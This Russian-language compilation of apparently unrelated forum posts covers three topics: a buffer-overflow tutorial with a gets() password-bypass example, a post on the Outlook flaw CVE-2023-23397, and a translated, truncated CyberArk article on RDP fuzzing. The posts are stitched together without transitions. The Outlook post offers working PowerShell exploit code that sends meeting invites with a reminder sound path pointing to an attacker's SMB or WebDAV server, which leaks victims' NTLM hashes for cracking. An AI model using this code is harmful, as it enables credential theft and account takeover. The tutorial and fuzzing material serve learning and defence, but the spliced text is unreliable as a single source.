Когда приложение запускается, ОС создаёт виртуальное адресное пространство и разные части программы помещаются в разные части этого адресного пространства. Размещение зависит от информации в самом файле.
Почти всегда самые главные части для нас - это сегмент с кодом (.text
),
сегмент с данными (основные: .data
и .bss
) и сегмент стека.
Сегмент .data
содержит инициализированные переменные. Например,
переменная a
из строки int a = 15;
, которая не объявлена в функции,
попадёт в этот сегмент с начальным значением 15.
Сегмент .bss
содержит неинициализированные переменные. Например,
переменная a
из строки int a;
, которая не объявлена в функции, попадёт в
этот сегмент, но без начального значения. Там просто зарезервируется
память.
Сегмент - непрерывная область адресного пространства со своими атрибутами
доступа.
Тут стоит сделать важное уточнение : начнём изучать бинарные уязвимости мы
с ELF -файлов из-за простоты работы под Linux. Но если цикл статей вам
понравится, то в дальнейшем перейти к Windows. Так вот, в ELF-файле сегмент
может быть разбит на секции , а в PE-файлах (EXE для Windows) наоборот
секция - это основная используемая единица.
Потом происходит инициализация стека.
Стек - структура данных, организованных по принципу LIFO (L ast
I n, F irst O ut, «последним пришёл — первым ушёл»). Принцип похож
на игрушечную пирамидку.
Самый верхний элемент (самый верхний, красный) попадает на вершину
последним (L ast I n). Но чтобы вытащить последний (самый
нижний, фиолетовый), нужно забрать все элементы выше. Поэтому самый нижний
элемент уйдёт последним , а самый верхний уйдёт первым (F irst
O ut).
Стек хорошо подходит для хранения временных переменных. А если быть
точнее, то для хранения локальных переменных. Например, переменная a
из
строки int a = 15;
, которая объявлена в функции , попадёт в локальную
переменную на стеке со значением 15.
Стек "растёт" от старших адресов к младшим.
Так же есть куча , используемая для хранения динамических данных. Она
"растёт" от младших к старшим адресам.
Данные в куче, стеке и сегменте с данными часто будут использованными нами для
эксплуатации уязвимостей.
У процессоров есть регистры — маленькие сверхбыстрые ячейки
памяти, расположенные внутри процессора для считывания, записи, хранения
временных данных и выполнения операций над ними. Процессор напрямую обращается
к регистрам, что очень сильно повышает скорость работы.
Разделим регистры на 5 категорий:
Регистры данных используются для хранения промежуточных значений, счётчика цикла, передача аргумента и других операций. Вспомним название регистров под x64 и их частое назначение.
A H (старшая половина) или A L (младшая половина) (1 байт), A X (2
байта), EA X (4 байта), RA X (8 байт) - A ccumulator. Хранит
результат функции и результаты других вычислений.
B H (старшая половина) или B L (младшая половина) (1 байт), B X (2
байта), EB X (4 байта), RB X (8 байт) - B ase. Часто используется
для косвенной адресации памяти.
C H (старшая половина) или C L (младшая половина) (1 байт), C X (2 байта), EC X (4 байта), RC X (8 байт) - C ount. Используется, как счётчик циклов и в некоторых инструкциях. Используется в соглашении AMD64 ABI и Microsoft x64 для передачи целочисленного аргумента.
D H (старшая половина) или D L (младшая половина) (1 байт), D X (2 байта), ED X (4 байта), RD X (8 байт) - D ata. Используется для хранения старшей части результатов некоторых функций. Используется в соглашении AMD64 ABI и Microsoft x64 для передачи целочисленного аргумента.
Приставка E - E xtended (EAX, ECX и так далее). Такие регистры только
в x32 и x64.
Приставка R - R e-extended (RAX, RCX и так далее). Такие регистры
только в x64.
BH и BL - это половинки BX.
BX - это половина EBX.
EBX - это половина RBX.
В виде картинки это можно представить так:
Так же можно сделать и с другими регистрами.
В x64 не используются сегментные регистры , поэтому в CS , SS , DS и ES базовый адрес принудительно выставляется в 0. Сегментные регистры FS и GS всё ещё могут иметь какой-либо адрес, но он будет 64-битным.
SPL (1 байт, но в x64), SP (2 байта), ESP (4 байта), RSP (8 байт) - регистр,
который указывает на вершину стека.
BPL (1 байт, но в x64), BP (2 байта), EBP (4 байта), RBP (8 байт) - регистр,
который чаще всего указывает на начало стекового кадра. Относительно
значения в этом регистре адресуются локальные переменные на стеке.
IP (2 байта), EIP (4 байта), RIP (8 байт) - регистр, который хранит адрес
следующей команды для исполнения.
SIL (1 байт, но в x64), SI (2 байта), ESI (4 байт), RSI (8 байт) - регистр,
который является указателем индекса строки и используется при работе со
строками в ассемблере.
DIL (1 байт, но в x64), DI (2 байта), EDI (4 байта), RDI (8 байт) - регистр,
который является указателем индекса строки назначения и используется при
работе со строками в ассемблере.
В ассемблере и языке Си под переменную с числом можно выделить разное
количество байт для хранения. Вот типы языка Си с обозначениями из ассемблера:
char
(byte
- db
) - 1 байт
short
(word
- dw
) - 2 байта (слово)
int
(double
- dd
) - 4 байта (двойное слово)
long
(quadro word
- dq
) - 8 байт (четверное слово)
Напоминаю, что мы рассматриваем x64, поэтому размеры такие.
Например, возьмём число 134. Поместим его в переменную типа int
. Представим
в 16ой системе счислений: 0x86. Сейчас это число занимает 1 байт.
Добьём его незначащими нулями до 4 байт.
0x86
(1 байт)
0x0086
(2 байта)
0x00000086
(4 байта)
Вспомним, что в x86 и x64 данные хранятся в Little-Endian и получим такое
0x86000000
Если посмотреть такое число в программе, то увидим это.
Для хранения отрицательных чисел используется дополнительный код.
Рассмотрим на примере 1 байта. В 1-байтовом (8-битном) регистре или
переменной может быть 256 значений (2⁸).
Решили, что первая часть значений: [0; 127]
- это положительные числа и
нуль. От 0 до 127.
А вторая часть значений: [128; 255]
- это отрицательные числа от -128
до -1.
Если посмотреть в двоичном виде, то можем убедиться в этом.
0 - 0 000 0000
1 - 0 000 0000
127 - 0 111 1111
128 (-128) - 1 000 0000
129 (-127) - 1 000 0001
255 (-1) - 1 111 1111.
Отличие этих чисел в том, что первый бит - это 1 (выделена жирным).
По ней и определяется отрицательное или положительное число.
Если самая первая цифра в 2-ом представлении - это 0 , то число
положительное.
Если самая первая цифра в 2-ом представлении - это 1 , то число
отрицательное.
Если все цифры 0 в 2-ом представлении, то всё число - это 0.
Только важно учесть размер переменной для определения.
Выше мы рассматривали значение для 1 байта. А если взять 4-байтовое, то оно выглядит так:
0 0000000 00000000 00000000 00000000
И по первому биту определяется, положительное или отрицательное число. В данном случае оно положительное.
Вернёмся снова к 1 байту:
127 - 0 111 1111
128 (-128) - 1 000 0000
Видим, что числа 127 и 128 разделяют диапазоны неотрицательных и
отрицательных чисел. Их можно представить в 16-ом виде для удобства.
0x7F - 0 111 1111
0x80 - 1 000 0000
0xFF - 1 111 1111
Запомните их.
Если мы вернёмся к 4 байтам и используем 4 байтовую переменную, то
максимальное положительное число - это 0x7F FFFFFF. А начало
положительных в 0x00000000.
Максимальное отрицательное - это 0xFFFFFFFF. А начало
отрицательных в 0x80 000000.
Снова видим эти числа. Просто они немного увеличились.
Таким образом, диапазон положительных чисел и 0 для 8 байтовой (64-битной)
переменной или регистра: [0x0000000000000000, 0x7FFFFFFFFFFFFFFF]
.
Диапазон отрицательных чисел для 8 байтовой (64-битной) переменной или
регистра: [0x8000000000000000, 0xFFFFFFFFFFFFFFFF]
.
Диапазон положительных чисел и 0 для 4 байтовой (32-битной) переменной
или регистра: [0x00000000, 0x7FFFFFFF]
.
Диапазон отрицательных чисел для 4 байтовой (32-битной) переменной или
регистра: [0x80000000, 0xFFFFFFFF]
.
Диапазон положительных чисел и 0 для 2 байтовой (16-битной) переменной или
регистра: [0x0000, 0x7FFF]
.
Диапазон отрицательных чисел для 2 байтовой (16-битной) переменной или
регистра: [0x8000, 0xFFFF]
.
Диапазон положительных чисел и 0 для 1 байтовой (8-битной) переменной или
регистра: [0x00, 0x7F]
.
Диапазон отрицательных чисел для 1 байтовой (8-битной) переменной или
регистра: [0x80, 0xFF]
.
Они похожи
Дробные числа представлены в языке Си в виде таких основных типов:
float
(4 байта)
double
(8 байт)
Эти числа хранятся в памяти через стандарт IEEE-754.
Это только часть из всей необходимой информации, что вам следует
вспомнить. Если вы не помните большую часть из неё, то, скорее всего, вам
будет трудно понять материал дальше. Но можете попробовать, если уверены в
себе.
Про переполнения буфера знает большинство из нас. Буфер - это непрерывный ограниченный участок памяти фиксированного размера. Чаще всего, это массив.
Почему становится возможным переполнить массив?
В языке Си и С++ не проверяются границы массивов. Поэтому программист
может записать значение за границы массива. Более того, не только программист,
а ещё и мы. Но при определённых условиях!
Перед изучением таких условий, посмотрим на то, как мы можем выйти за границы массива.
C:Copy to clipboard
#include <stdio.h>
int main() {
char azz[] = "azzaz";
int arr[4] = {0x41, 0x42, 0x43, 0x44};
int test = 65;
int secret_key = 0xAAA;
arr[1] = 5;
printf("arr[1] = %d\n", arr[1]);
arr[4] = 0x50; /* Частая ошибка, так как массив начинается с нуля. */
printf("arr[4] = %d\n", arr[4]);
printf("secret_key_before = %#X\n", secret_key);
arr[-1] = 0xCCA;
printf("secret_key_after = %#X\n", secret_key);
arr[0x150] = 5;
printf("arr[0x150] = %d\n", arr[0x150]);
printf("arr[0x180] = %d\n", arr[0x180]);
arr[-40] = 5;
printf("arr[-40] = %d\n", arr[-40]);
return 0;
}
Компиляция: gcc test.c -o test
Запуск: ./test
Как вам такое?
В строке arr[4] = 0x50
мы присваиваем значение пятому элементу. Это
частая ошибка, так как мы объявили массив из 4 элементов (int arr[4]
), а
пытаемся получить доступ к пятому под индексом 4. Напомню, что массивы в
Си начинаются с индекса 0. Поэтому индекс 4 - это пятый элемент.
Так как массив всего на 4 элемента, то мы выходим за пределы и меняем
пятый элемент. А за пределами массива могут быть другие важные данные,
которые мы "перетрём" новыми.
Но это цветочки , так как мы можем изменить элемент по отрицательному
индексу в строке arr[-1] = 0xCCA
! И язык Си даст нам это сделать без
проблем.
В переменной secret_key
было число 0xAAA
. А после исполнения arr[-1] = 0xCCA
мы поменяли значение на 0xCCA
. Это потом пригодится нам (в следующей
статье).
Более того, можно брать и значения, которые намного превышают размер
массива. Например, 0x150. Или -40.
Таким образом, язык Си позволяет нам делать почти всё, что мы захотим. Но и
всю ответственность за наши действия возлагает на нас
Но ещё важно посмотреть, как это всё будет выглядеть в IDA. Или говоря по-
другому посмотреть на ассемблерный код.
IDA можно скачать отсюда: IDA Freeware
Пока что мы будем пользоваться ею, но в будущем желательно будет перейти на
gdb
.
Вот такой код у нас получился. Сразу сделаем переменные и массивы на стеке, а также дадим им осмысленные названия.
Добавим комментарии.
Тут видно, что компилятор не мучался и просто сделал перемещение в нужные
участки памяти. Всё правильно =D
Если для доступа к элементу мы используем положительный индекс, то всё
понятно. Компилятор будет сразу перемещать данные в нужную ячейку памяти, как
показано выше. Или использовать формулу ниже для нахождения адреса элемента, а
потом дальнейшего перемещения в него.
Z = x+n×k
Где:
Z — это адрес нужного нам элемента.
x — это адрес элемента с индексом 0.
n — это индекс нужного нам элемента.
k — это размер типа данных одного элемента массива.
А если индекс отрицательный, то будет такое: Z < x.
Например, мы запустили отладчик и получили такие данные:
x = 0x7FFF494B13D0
.
n = -1 (0xFFFFFFFFFFFFFFFF
).
k = 4 (int
).
Тогда если подставить, получим такой пример: Z = 0x7FFF494B13D0 + (-1) * 4 = 0x7FFF494B13D0-0xFFFFFFFFFFFFFFFF*4 = 0x7FFF494B13D0-FFFFFFFFFFFFFFFCh = 0x00007FFF494B13CC
. Можем поставить точку останова на mov [rbp+secret_key], 0CCAh
, запустить отладчик и проверить. У вас будут другие значения.
Помним про такую вещь, как переполнение в ячейках памяти , чтобы понять это
Например, в регистре AL (1 байт - 8 бит) было 255 (-1). Мы добавили
1. Получили 256. Оно не помещается в AL, поэтому мы вычитаем из
него 256 (2⁸) и получаем 0.
Или по-другому -1+1=0.
Думаю, остальное всё ясно.
Вспомним начало статьи и функцию gets
. Эта функция читает вводимую строку в
буфер. Чтение прекращается, когда будет встречен символ новой строки
(\n
) или конец файла. Символ \n
на конце не учитывается при записи строки
в буфер. Потом к итоговой строке добавляется 0x0
(символ конца строки).
Вот прототип функции:
C:Copy to clipboard
char * gets( char * string );
Казалось бы, обычная функция для ввода. Но нет...
Представим, что ваш знакомый решил пошутить над вами: вы вводите ключ, а он
всегда будет неправильный. Вы изучили программу, которую он скинул и
восстановили исходный код.
Вот он:
C:Copy to clipboard
#include <stdio.h>
#include <string.h>
#include <stdio.h>
char key_correct[] = "CDB";
int main() {
char check[] = "CODEBY";
char key[10];
printf("Check your key ^_^\n");
printf("Enter key: ");
gets(key);
if (strcmp(check, key_correct) == 0) {
printf("Yes!!\n");
}
else {
printf("No :(\n");
}
return 0;
}
И увидели тут уязвимость. Более того, ваш знакомый скомпилировал файл через
gcc check.c -o check -fno-stack-protector.
Самое главное тут - это -fno- stack-protector
. Флаг -fno-stack-protector
отключает защиту на стеке.
При простом вводе данных мы видим строку "No
".
А теперь самое главное: функция gets
никак не проверяет ввод. И
никак его не ограничивает. Поэтому мы можем ввести данные любого размера.
Как видно выше, мы можем передать любую строку. Но если передать данные слишком большого размера, то получим "segmentation fault ". Или по-другому SIGSEGV. Эта ошибка говорит о том, что программа пытается обратиться к адресам из памяти, которой не существует или при обращении с не теми правами.
Рассмотрим подробнее мы это в следующей статье. А пока что рассмотрим скрин из IDA.
Сделаем его более понятным. Далее я буду часто сразу показывать скрины из IDA, где все переменные названы и созданы нужные объекты. Вот так мы сделаем его понятнее.[/FONT]
Если поставить точку останова на call _gets
, то можно посмотреть на данные в
стеке.
Видно и даже посчитано, что строка "CODEBY " находится в 10 байтах от
начала массива key
. Если мы передадим любые 10 символов, а потом добавим
строку "CDB " (её проверяет программа), то увидим строку "Yes!! ".
Можно использовать, например, Python: python3 -c "print('A' * 10 + 'CDB')"
.
Получим: AAAAAAAAAACDB
. Введём её.
Ура! Это наша первая запывненная программа!
Рассмотрим подробнее в IDA. Запустим отладчик и передадим в него эту строку.
Видим, что наш ввод перезаписал строку "CODEBY " на "CDB ". И поэтому
мы получили "Yes!! ". Ура!
Но есть важный момент: строка CODEBY находилась в программе после
массива key
.
Фрагмент исходного кода выше.:
C:Copy to clipboard
char check[] = "CODEBY";
char key[10];
Это можно определить в IDA.
Мы зашли в окно, где показано место, выделенное для локальных переменных (на
стеке). Видно, что check
ниже , чем key
, поэтому мы и могли
перезаписать данные. А если бы check
был выше key
, то уже нет. Вот так
выглядит фрагмент такого кода:
C:Copy to clipboard
char key[10];
char check[] = "CODEBY";
В этом случае уже key
находится над check
.
Если вы попробуйте передать нашу строку, то ничего не получится. Также не
получится это сделать в примере, если не будет использован флаг -fno-stack- protector
. Одно из его действий - это изменение расположения переменных при
компиляции так, что в итоге их нельзя будет "перетереть".
В итоге мы узнали следующую информацию из тестов выше: функция gets
никак
не проверяет длину вводимых данных. Если переменные располагаются нужным
образом, то можно перетереть нужные данные.
Важно : никогда не используйте gets
! Она опасна! Это пишут даже
в man'ах.
Помимо gets
есть ещё и другие небезопасные функции. Например, scanf
с
аргументов %s
: scanf(%s, str)
. В этом случае так же не проверяется
количество вводимых символов. Но она в отличие от gets
имеет
дополнительное условие: читает все символы до пробела помимо остальных.
В зависимости от того, где расположен этот массив, можно выделить разные виды переполнения буфера. Например, если массив находится в стеке , то это переполнение на стеке. А если в сегменте с данными, то уже там.
Пока что на этом всё. В следующей статье мы продолжим учиться переполнять буферы
Спасибо за прочтение!
CVE-2023-23397 - это уязвимость в офисном пакете Microsoft а точнее в их
почтовом клиенте Outlook , позволяющая хакеру сделать пакостные вещи такие
как: воровство хешей и эскалации привелегий.
Самое забавное в том что от юзера не нужна никакая отдача, он может спокойно
сидеть в офисе, мечтать об отпуске на Кипре, делая ненавистные отчеты по
продажам, пока злоумышленики выкачивают у него NTLM хеши.
Уязвимость именовали идентификатором CVE-2023-23397 и она имеет крайне высокий
рейтинг опасности из-за довольно простого способа ее реализации - это 9.8 из
10 баллов в системе CVSS.
Краткое описание уязвимости от оконных корпоратов гласит:
" Уязвимость CVE-2023-23397 позволяет удаленному и неавторизованному
злоумышленнику несанкционированый доступ к данным пользователя, отправив
специально созданное электронное письмо. При получении этого письма Outlook
автоматически его обрабатывает, что может привести к тому, что злоумышленник
получит учетные данные пользователя. Уязвимость настолько серьезна, что
злоумышленнику не требуется открытие электронного письма, чтобы получить
доступ к системе. Уязвимость может быть эксплуатирована до того, как
электронное письмо будет просмотрено в предварительном просмотре."
Затронутые версии включают:
Абсолютно все версии Outlook для Windows
Click to expand...
Ну что же, звучит очень страшно но в тоже время весьма интересно а как именно работает способ экспулуатации данной уязвимости.
Условный хакер отправляет сообщение с расширенным MAPI-свойством с UNC-путем через SMB на подконтрольном хакеру дедике. Эксплуатируются напоминания об встречах в которые и вставляется код позволяющий установить соедиение. Взаимодействие с пользователем не требуется. Эксплуатация запустится автоматически, как только клиент получит электронное письмо. При подключении к удаленному SMB серверу пользователь отправляет потверждение отправки NTLM хеша в виде ReminderSoundFile который сервер Outlook попытается открыть, в виде него будет выступать SMB ссылка, которая передаст хэш NTLM жертвы злоумышленнику, который затем может использовать такую софтину как John The Ripper для взлома хеша а после использовать пароль для аутентификации в других Microsoft системах в качестве подвершегося атаке юзера. Запуск требуется на компьютере с Windows и с установленным Outlook.
Также есть возможность использования данной уязвимости для получения удаленного доступа и повышении привилегий, действует она через абсолютно такой же вектор атаки:
.
Эскалация привелегий через CVE-2023-23397
Но все же давайте вернемся к главной сути.
Вот пример PowerShell кода который используется для эксплуатации:
Code:Copy to clipboard
$ol = New-Object -ComObject Outlook.Application
$meeting = $ol.CreateItem('olAppointmentItem')
$meeting.Subject = 'Сисадмин уезжает на Кипр'
$meeting.Body = 'Завидуйте все, можете не ждать в течении 3 дней'
$meeting.Location = 'Virtual'
$meeting.ReminderSet = $True
$meeting.Importance = 1
$meeting.MeetingStatus = [Microsoft.Office.Interop.Outlook.OlMeetingStatus]::olMeeting
$meeting.Recipients.Add('victim@xss.is') # Адрес жертвы
# Создает собрание через 16 минут в будущем с напоминанием за 15 минут до него — запрос должен запускаться через 1 минуту после запуска.
$meeting.ReminderMinutesBeforeStart = 15
$meeting.Start = [datetime]::Now.AddMinutes(16)
$meeting.Duration = 30
$meeting.ReminderPlaySound = $True
$meeting.ReminderOverrideDefault = $True
# Это и есть причина почему уязвимость существует -
# Outlook будет пытатся удаленно загрузить файл
# Сервер (если такой указан в UNC пути)
$meeting.ReminderSoundFile = "\\<UNC PATH>" # Измените на свой SMB сервер
# Это также может быть WebDAV запрос также как и HTTP или HTTPS запросы:
# $meeting.ReminderSoundFile = "\\xss.is@80\soundfile.wav"
# $meeting.ReminderSoundFile = "\\xss.is@SSL@443\soundfile.wav"
$meeting.Save()
$meeting.Send()
Вот более усовершенствованный код поддерживающий интерактивность через PowerShell:
Code:Copy to clipboard
function Send-CalendarNTLMLeak ($recipient, $remotefilepath, $meetingsubject, $meeetingbody)
{
$Outlook = New-Object -comObject Outlook.Application
$newcal = $outlook.CreateItem('olAppointmentItem')
$newcal.ReminderSoundFile = $remotefilepath
$newcal.Recipients.add($recipient)
$newcal.MeetingStatus = [Microsoft.Office.Interop.Outlook.OlMeetingStatus]::olMeeting
$newcal.Subject = $meetingsubject
$newcal.Location = "Virtual"
$newcal.Body = $meetingbody
$newcal.Start = get-date
$newcal.End = (get-date).AddHours(2)
$newcal.ReminderOverrideDefault = 1
$newcal.ReminderSet = 1
$newcal.ReminderPlaysound = 1
$newcal.send()
}
function Save-CalendarNTLMLeak ($remotefilepath, $meetingsubject, $meeetingbody)
{
$Outlook = New-Object -comObject Outlook.Application
$newcal = $outlook.CreateItem('olAppointmentItem')
$newcal.ReminderSoundFile = $remotefilepath
$newcal.MeetingStatus = [Microsoft.Office.Interop.Outlook.OlMeetingStatus]::olMeeting
$newcal.Subject = $meetingsubject
$newcal.Location = "Virtual"
$newcal.Body = $meetingbody
$newcal.Start = get-date
$newcal.End = (get-date).AddHours(2)
$newcal.ReminderOverrideDefault = 1
$newcal.ReminderSet = 1
$newcal.ReminderPlaysound = 1
$newcal.save()
}
Далее можно оперирировать этими командами в зависимости от нужных действий:
Code:Copy to clipboard
# Отправка:
# Send-CalendarNTLMLeak -recipient "user.name@exampledomain.com" -remotefilepath "\\10.10.10.10\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Сисадмин на курорте"
# Send-CalendarNTLMLeak -recipient "user.name@exampledomain.com" -remotefilepath "\\files.domain.com\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Сисадмин на курорте"
# Send-CalendarNTLMLeak -recipient "user.name@exampledomain.com" -remotefilepath "\\files.domain.com@80\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Сисадмин на курорте"
# Send-CalendarNTLMLeak -recipient "user.name@exampledomain.com" -remotefilepath "\\files.domain.com@SSL@443\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Сисадмин на курорте"
#
# Сохранение:
# Save-CalendarNTLMLeak -remotefilepath "\\10.10.10.10\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Сисадмин на курорте"
# Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Сисадмин на курорте"
# Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com@80\file.wav" -meetingsubject "Test Meeting" -meetingbody "Сисадмин на курорте"
# Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com@SSL@443\file.wav" -meetingsubject "Test Meeting" -meetingbody "Сисадмин на курорте"
Я далеко не самый лучший специалист в сфере ИБ и я не претендую на крутого врайтера, тут как говорила моя бабушка: "Век живи, век учись". Это моя первая статья, так что не судите строго, в любом случае я буду рад конструктивной критике для улучшения своих навыков. Написание подобных статей в первую очередь полезно для меня в плане саморазвития и в то же время возможно будет полезно кому то еще, на что я конечно же очень очень надеюсь. Всем удачи, и да прибудет з вами фаервол!
До сего дня про КАЗАН слышал только по отношению к ядру Linux, но в сборке Windows 11 22h2 22621.819 увидел соответствующие функции при дифе. Сложно сказать были ли они на более ранних инсайдерских сборках, т.к. ранее они ко мне не попадали.
Подробнее про КАЗАН в Linux: <https://www.kernel.org/doc/html/v4.14/dev- tools/kasan.html>
P.S. В одной из тем я жаловался на отсутствие структуры _IO_RING_OBJECT,
которая по непонятным причинал была у заморских ресерчеров.
Ее наличие я все-таки обнаружил в инсайдерском билде. Т.е. если вы ковыряете
винду, то желательно иметь инсайдерскую.
[ОРИГИНАЛЬНАЯ
СТАТЬЯ](https://www.cyberark.com/resources/threat-research-blog/fuzzing-rdp-
holding-the-stick-at-both-ends)
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ XSS.IS
$600 на SSD для Jolah Molivski --->
0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов
Введение
В этом посте описывается проделанная нами работа по фаззингу клиента и сервера Windows RDP, связанные с этим проблемы и некоторые результаты.
Протокол удаленного рабочего стола (RDP) от Microsoft продолжает привлекать
внимание сообщества безопасности. От нескольких критических уязвимостей,
обнаруженных в 2019 году, которые потенциально могли скомпрометировать
миллионы серверов, подключенных к Интернету, до [использования RDP в качестве
одного из основных первоначальных векторов доступа
](https://www.bankinfosecurity.com/top-ransomware-attack-vectors-rdp-drive-by-
phishing-a-14353)злоумышленников. Эти риски еще больше усугубляются работой из
дома, вызванной пандемией. Наш первоначальный интерес к этому проекту был
связан с виртуальными машинами. Поскольку по умолчанию для подключения к
машине Azure Windows или виртуальной машине Hyper-V используется RDP, мы
решили, что RDP — идеальная цель. Как и большинство успешных проектов, наш
тоже начался с интенсивного поиска в Google, и мы быстро наткнулись на
отличный доклад BlackHat Europe 2019 о фаззинге RDP
Пака, Джанга, Ким и Ли. Спикеры
нашли пару уязвимостей всего за несколько часов с помощью не очень быстрого
фаззера, поэтому мы решили взять на себя задачу дополнить их работу, расширить
возможности фаззинга на другие каналы, улучшить его производительность и
найдите нашу собственную RDP Remote Code Execution (RCE).
К сожалению (или к счастью, в зависимости от вашей точки зрения), не все
проекты фаззинга приводят к критическим уязвимостям (см. Survivorship Bias
). Нам не удалось найти RCE
RDP (пока), но нам удалось найти несколько ошибок и лучше понять протокол, его
компоненты, а также процесс и инструменты фаззинга. Созданная нами фаззинговая
инфраструктура достаточно универсальна, чтобы ее можно было использовать для
фаззинга других целей. В этом посте мы собираемся поделиться нашим процессом
выполнения всего, что упомянуто выше. Сначала мы предоставим обзор RDP и
созданной нами настройки фаззинга, затем мы расскажем о проблемах, с которыми
мы столкнулись, и о том, как мы с ними справились, и, наконец, мы рассмотрим
пару ошибок, которые мы обнаружили в этом процессе.
Обзор удаленного рабочего стола
Протокол удаленного рабочего стола — это популярный протокол для удаленного
доступа к компьютерам Windows. Недавно Malwaretech [описала
](https://www.malwaretech.com/2020/12/how-i-found-my-first-ever-zeroday-in-
rdp.html)его как «протокол для протоколов». RDP позволяет работать нескольким
каналам в каждом соединении, и каждый из них имеет свое назначение. Это
означает, что каждый канал имеет свой собственный код, который обрабатывает
его данные, свои собственные определения структуры и потоки данных. По сути,
это означает, что в RDP действительно существует несколько протоколов.
Каналы RDP могут быть как статическими, так и динамическими, но различие между
ними не имеет решающего значения для целей этой статьи. Если вы хотите узнать
больше о внутренней работе RDP-подключения, мы рекомендуем прочитать наш
предыдущий [пост ](https://www.cyberark.com/resources/threat-research-
blog/explain-like-i-m-5-remote-desktop-protocol-rdp)об этом. Если вы хотите
узнать больше о процессе фаззинга, вы попали по адресу.
Проблемы фаззинга RDP
В «стандартном» сценарии фаззинга у вас есть программа, которая считывает ввод, управляемый фаззером, который может быть файлом или потоком данных любого типа. Затем программа обрабатывает данные, в то время как фаззер отслеживает покрытие кода сгенерированными данными. Основываясь на этом покрытии, фаззер изменяет ввод, снова отправляет измененный ввод в программу, и процесс повторяется. Фаззинг RDP отличается тем, что у нас всегда должно быть активное соединение RDP. Данные, которые фаззер может вводить в программу, должны быть отправлены в виде блока данных протокола (PDU) поверх определенного канала (который также должен быть активен во время фаззинга) в открытом соединении. Как упоминалось ранее, каждый канал представляет собой собственный протокол, поэтому фаззинг должен выполняться для каждого канала отдельно. Это вносит следующие проблемы в процесс фаззинга (которые также могут относиться к другим фаззерам, связанным с протоколами/сетями):
Эти четыре проблемы были основными, которые мы ожидали в этом проекте. В следующем разделе мы обсудим, как мы преодолели эти трудности, а также дополнительные, возникшие на более позднем этапе работы.
Технические детали: проблемы и способы их преодоления
В этом разделе мы рассмотрим детали реализации и проблемы, с которыми мы столкнулись в процессе работы. Мы также объясним, как мы справились с ними, чтобы получить работающую настройку фаззинга. Мы создали репозиторий проекта на GitHub , который содержит весь код, написанный нами в ходе этого проекта. Если вы заинтересованы в этой области, вы можете найти это полезным для начала работы.
Клиент-серверная архитектура
В этом проекте мы хотели фаззить RDP-сервер Windows, а также его RDP-клиент. Мотивация для фаззинга сервера RDP очевидна: злоумышленник может использовать его для удаленной компрометации сервера Windows и получения доступа к нему. Мотивация фаззинга RDP-клиента различна. Подумайте о сценарии, в котором злоумышленник уже скомпрометировал RDP-сервер, затем он готовит свой эксплойт и ждет, пока к нему не подключится RDP-клиент-жертва. Как только жертва подключится, злоумышленник может также скомпрометировать машину жертвы через клиент RDP. Это может произойти, когда администратор подключается к серверу, которым он управляет, и это может даже использоваться для выхода из виртуальной машины из-за того, что Hyper-V использует RDP для доступа к своим виртуальным машинам (используя функцию «расширенного сеанса»).
Фаззер для RDP должен иметь следующие основные компоненты:
Как вы понимаете, настройки фаззинга для клиента и сервера должны быть
совершенно разными, но есть некоторые сходства.
На целевой стороне имеем следующее:
В следующем разделе описаны функции, добавленные в WinAFL и DynamoRIO в наших пользовательских сборках.
А на стороне отправителя ввода у нас есть один компонент:
Идея настройки довольно проста: мы пытаемся отправить наши фаззинговые входы
по «живому» соединению RDP, ничего не имитируя (практически).
Для этого мы отделили генерацию входных данных от их передачи к цели,
позволив входным данным перемещаться с одной стороны RDP-соединения на другую,
прежде чем они будут обработаны целью. WinAFL. Чтобы фаззинг на основе
покрытия работал, должно быть однозначное соответствие между входными данными
и кодовыми путями, которые они инициировали. Для этого мы разработали «фоновый
фаззинг», который отличает PDU фаззера от обычных PDU и отслеживает пути кода
только для первых. Это было важно, потому что мы хотим, чтобы фаззер
отслеживал покрытие только наших собственных тестовых случаев, а не случайных
PDU, отправляемых по соединению. Чтобы проиллюстрировать это, давайте
посмотрим, как что-то подобное может выглядеть при фаззинге виртуального
канала RDPSND, который перенаправляет звук с RDP-сервера на клиент. Согласно
[документам ](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-
rdpea/bea2d5cf-e3b9-4419-92e5-0e074ff9bc5b), первый байт каждого PDU
представляет тип отправленного сообщения.
Поддерживаемые значения для msgType поля 0x01 до 0x0D . В этом случае мы можем
использовать старший бит первого байта в качестве маркера фаззинга следующим
образом:
Увидев сходство между настройкой клиента и настройкой сервера, давайте посмотрим, чем они отличаются, начиная с клиента.
Настройка клиентского фаззинга
Клиент Windows RDP — mstsc.exe , но большая часть логики, которая обрабатывает
данные виртуального канала, находится в mstscax.dll , которую загружает
клиент.
_Обратите внимание, что клиент удаленного доступа виртуальных машин Hyper-V,
vmconnect.exe , также использует mstscax.dll для своих основных функций
_
Для простоты и эффективности мы выполнили и клиент, и сервер (цель и агент) на одной машине (т. е. использовали клиент для подключения к localhost/127.0.0). Чтобы разрешить параллельный фаззинг, мы также использовали mimikatz для исправления сервера, чтобы он позволял одновременные подключения RDP.
Вот компоненты настройки при фаззинге клиента:
Используя эти компоненты, мы смогли достичь скромной скорости выполнения ~ 50-100 выполнений в секунду. Это ни в коем случае не быстро, но это было быстрее, чем скорость, показанная в вышеупомянутом исследовании Парка и др., поэтому мы были в порядке с что.
Настройка фаззинга сервера
Чтобы найти целевой двоичный файл, содержащий основную логику сервера RDP, мы можем просто заглянуть в служб удаленных рабочих столов.
Code:Copy to clipboard
PS C:\> gci HKLM:\SYSTEM\CurrentControlSet\Services\$((Get-Service -Name "Remote Desktop Services").Name)
Hive: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService
Name Property
---- --------
Parameters ServiceDll : C:\Windows\System32\termsrv.dll
. . .
Основная логика сервера RDP действительно заключается в termsrv.dll , который загружается в svchost.exe с помощью следующей командной строки: C:\Windows\System32\svchost.exe -k NetworkService -s TermService .
